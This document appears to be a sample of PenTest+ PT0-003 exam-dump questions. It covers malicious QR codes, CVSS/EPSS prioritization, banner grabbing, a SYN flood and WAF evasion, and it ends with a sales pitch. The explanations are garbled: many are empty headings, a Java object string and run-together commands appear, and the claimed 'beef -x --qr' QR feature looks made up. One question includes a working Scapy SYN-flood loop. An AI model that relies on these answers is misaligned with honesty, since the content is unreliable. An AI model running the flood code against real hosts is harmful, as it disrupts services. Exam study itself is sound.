A penetration tester wants to create a malicious QR code to assist with a physical security assessment. Which of the following tools has the built-in functionality most likely needed for this task?

- A. BeEF
- B. John the Ripper
- C. ZAP
- D. Evilginx

Answer: A

Explanation:

BeEF (Browser Exploitation Framework) is a penetration testing tool that focuses on web browsers. It has built-in functionality for generating malicious QR codes, which can be used to direct users to malicious websites, execute browser-based attacks, or gather information.

? Understanding BeEF:
? Creating Malicious QR Codes: Step-by-Step Explanationbeef -x --qr
? Usage in Physical Security Assessments:
? References from Pentesting Literature: References:
? Penetration Testing - A Hands-on Introduction to Hacking
? HTB Official Writeups
=====

NEW QUESTION 87

A penetration tester finished a security scan and uncovered numerous vulnerabilities on several hosts. Based on the targets' EPSS and CVSS scores, which of the following targets is the most likely to get attacked?

Host | CVSS | EPSS
Target 1 | 4 | 0.6
Target 2 | 2 | 0.3
Target 3 | 1 | 0.6
Target 4 | 4.5 | 0.4

- A. Target 1: CVSS Score = 4 and EPSS Score = 0.6
- B. Target 2: CVSS Score = 2 and EPSS Score = 0.3
- C. Target 3: CVSS Score = 1 and EPSS Score = 0.6
- D. Target 4: CVSS Score = 4.5 and EPSS Score = 0.4

Answer: A

Explanation:

Based on the CVSS (Common Vulnerability Scoring System) and EPSS (Exploit Prediction Scoring System) scores, Target 1 is the most likely to get attacked.

? CVSS:
? EPSS:
? Analysis:
Pentest References:
? Vulnerability Prioritization: Using CVSS and EPSS scores to prioritize vulnerabilities based on severity and likelihood of exploitation.
? Risk Assessment: Understanding the balance between impact (CVSS) and exploit likelihood (EPSS) to identify the most critical targets for remediation or attack.
By focusing on Target 1, which has a balanced combination of severity and exploitability, the penetration tester can address the most likely target for attacks based on the given scores.
=====

NEW QUESTION 88

A penetration tester needs to confirm the version number of a client's web application server. Which of the following techniques should the penetration tester use?

- A. SSL certificate inspection
- B. URL spidering
- C. Banner grabbing
- D. Directory brute forcing

Answer: C

Explanation:

Banner grabbing is a technique used to obtain information about a network service, including its version number, by connecting to the service and reading the response.

? Understanding Banner Grabbing:
? Manual Banner Grabbing:
Step-by-Step Explanationtelnet target_ip 80
? uk.co.certification.simulator.questionpool.PList@5af47689 nc target_ip 80
? Automated Banner Grabbing: nmap -sV target_ip
? Benefits:
? References from Pentesting Literature: References:
? Penetration Testing - A Hands-on Introduction to Hacking
? HTB Official Writeups
=====

NEW QUESTION 92

A penetration tester is authorized to perform a DoS attack against a host on a network. Given the following input:

```
ip = IP("192.168.50.2")
```

```
tcp = TCP(sport=RandShort(), dport=80, flags="S") raw = RAW(b"X"*1024)
```

```
p = ip/tcp/raw
```

```
send(p, loop=1, verbose=0)
```

Which of the following attack types is most likely being used in the test?

- A. MDK4
- B. Smurf attack
- C. FragAttack
- D. SYN flood

Answer: D

Explanation:

A SYN flood attack exploits the TCP handshake by sending a succession of SYN requests to a target's system. Each request initializes a connection that the target system must acknowledge, thus consuming resources.

? Understanding the Script:

? Purpose of SYN Flood:

? Detection and Mitigation:

? References from Pentesting Literature: Step-by-Step ExplanationReferences:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

NEW QUESTION 96

A penetration tester cannot find information on the target company's systems using common OSINT methods. The tester's attempts to do reconnaissance against internet- facing resources have been blocked by the company's WAF. Which of the following is the best way to avoid the WAF and gather information about the target company's systems?

- A. HTML scraping
- B. Code repository scanning
- C. Directory enumeration
- D. Port scanning

Answer: B

Explanation:

When traditional reconnaissance methods are blocked, scanning code repositories is an effective method to gather information. Here??s why:

? Code Repository Scanning:

? Comparison with Other Methods:

Scanning code repositories allows gathering a wide range of information that can be critical for further penetration testing effort

=====

NEW QUESTION 98

.....

Thank You for Trying Our Product

We offer two products:

1st - We have Practice Tests Software with Actual Exam Questions

2nd - Questions and Answers in PDF Format

PT0-003 Practice Exam Features:

- * PT0-003 Questions and Answers Updated Frequently
- * PT0-003 Practice Questions Verified by Expert Senior Certified Staff
- * PT0-003 Most Realistic Questions that Guarantee you a Pass on Your First Try
- * PT0-003 Practice Test Questions in Multiple Choice Formats and Updates for 1 Year

100% Actual & Verified — Instant Download, Please Click
[Order The PT0-003 Practice Test Here](#)